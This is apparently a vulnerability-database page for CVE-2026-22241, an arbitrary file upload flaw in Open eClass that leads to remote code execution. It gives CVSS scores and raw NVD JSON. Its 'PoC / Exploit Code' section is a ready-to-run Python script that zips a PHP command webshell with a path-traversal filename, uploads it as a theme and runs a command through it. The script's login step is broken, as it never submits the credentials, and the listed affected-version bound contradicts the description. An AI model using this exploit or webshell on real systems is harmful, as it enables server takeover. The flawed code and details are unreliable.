Security Vulnerability Report
中文
CVE-2026-22241 CVSS 7.2 HIGH

CVE-2026-22241

Published: 2026-01-08 15:15:46
Last Modified: 2026-01-23 19:15:55

Description

The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. Prior to version 4.2, an arbitrary file upload vulnerability in the theme import functionality enables an attacker with administrative privileges to upload arbitrary files on the server's file system. The main cause of the issue is that no validation or sanitization of the file's present inside the zip archive. This leads to remote code execution on the web server. Version 4.2 patches the issue.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openeclass:openeclass:*:*:*:*:*:*:*:* - VULNERABLE
Open eClass < 4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22241 PoC - Open eClass Arbitrary File Upload Author: Security Researcher Description: Exploits arbitrary file upload vulnerability in Open eClass theme import function """ import zipfile import io import requests import sys def create_malicious_zip(): """ Create a malicious ZIP file containing PHP webshell """ # PHP webshell for remote code execution webshell_content = b'<?php\nif(isset($_REQUEST["cmd"])){\n echo "<pre>";\n $cmd = ($_REQUEST["cmd"]);\n system($cmd);\n echo "</pre>";\n}\n?>' # Create ZIP file zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # Add webshell with path traversal to web root zip_file.writestr('../../../var/www/html/eclass/themes/shell.php', webshell_content) return zip_buffer.getvalue() def exploit(target_url, username, password): """ Exploit the vulnerability Args: target_url: Base URL of Open eClass installation username: Administrator username password: Administrator password """ session = requests.Session() # Step 1: Login as administrator login_url = f"{target_url}/index.php?logout=yes" session.get(login_url) # Step 2: Get theme import page theme_url = f"{target_url}/modules/admin/theme_upload.php" # Step 3: Upload malicious ZIP file zip_data = create_malicious_zip() files = {'theme_file': ('malicious_theme.zip', zip_data, 'application/zip')} response = session.post(theme_url, files=files) # Step 4: Execute command via uploaded webshell shell_url = f"{target_url}/themes/shell.php" cmd_payload = {'cmd': 'whoami'} rce_response = requests.get(shell_url, params=cmd_payload) if rce_response.status_code == 200: print("[+] Exploitation successful!") print(f"[+] Webshell uploaded at: {shell_url}") print(f"[+] Command output: {rce_response.text}") else: print("[-] Exploitation failed!") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python3 {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22241", "sourceIdentifier": "[email protected]", "published": "2026-01-08T15:15:45.720", "lastModified": "2026-01-23T19:15:54.570", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Open eClass platform (formerly known as GUnet eClass) is a complete course management system. Prior to version 4.2, an arbitrary file upload vulnerability in the theme import functionality enables an attacker with administrative privileges to upload arbitrary files on the server's file system. The main cause of the issue is that no validation or sanitization of the file's present inside the zip archive. This leads to remote code execution on the web server. Version 4.2 patches the issue."}, {"lang": "es", "value": "La plataforma Open eClass (anteriormente conocida como GUnet eClass) es un sistema completo de gestión de cursos. Antes de la versión 4.2, una vulnerabilidad de carga de archivos arbitrarios en la funcionalidad de importación de temas permite a un atacante con privilegios administrativos cargar archivos arbitrarios en el sistema de archivos del servidor. La causa principal del problema es que no hay validación ni saneamiento de los archivos presentes dentro del archivo zip. Esto lleva a la ejecución remota de código en el servidor web. La versión 4.2 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openeclass:openeclass:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1", "matchCriteriaId": "85D1FE2D-D5FA-4B0D-B577-1F6A08EC6832"}]}]}], "references": [{"url": "https://github.com/gunet/openeclass/commit/3f9d267b79812a4dd708bb1302339e6a5abe67d9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/gunet/openeclass/security/advisories/GHSA-gq72-7mwg-424r", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/gunet/openeclass/security/advisories/GHSA-rf6j-xgqp-wjxg", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/gunet/openeclass/security/advisories/GHSA-gq72-7mwg-424r", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://twelvesec.com/2026/01/16/rce-via-arbitrary-file-upload-at-open-eclass/", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/gunet/openeclass/security/advisories/GHSA-rf6j-xgqp-wjxg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}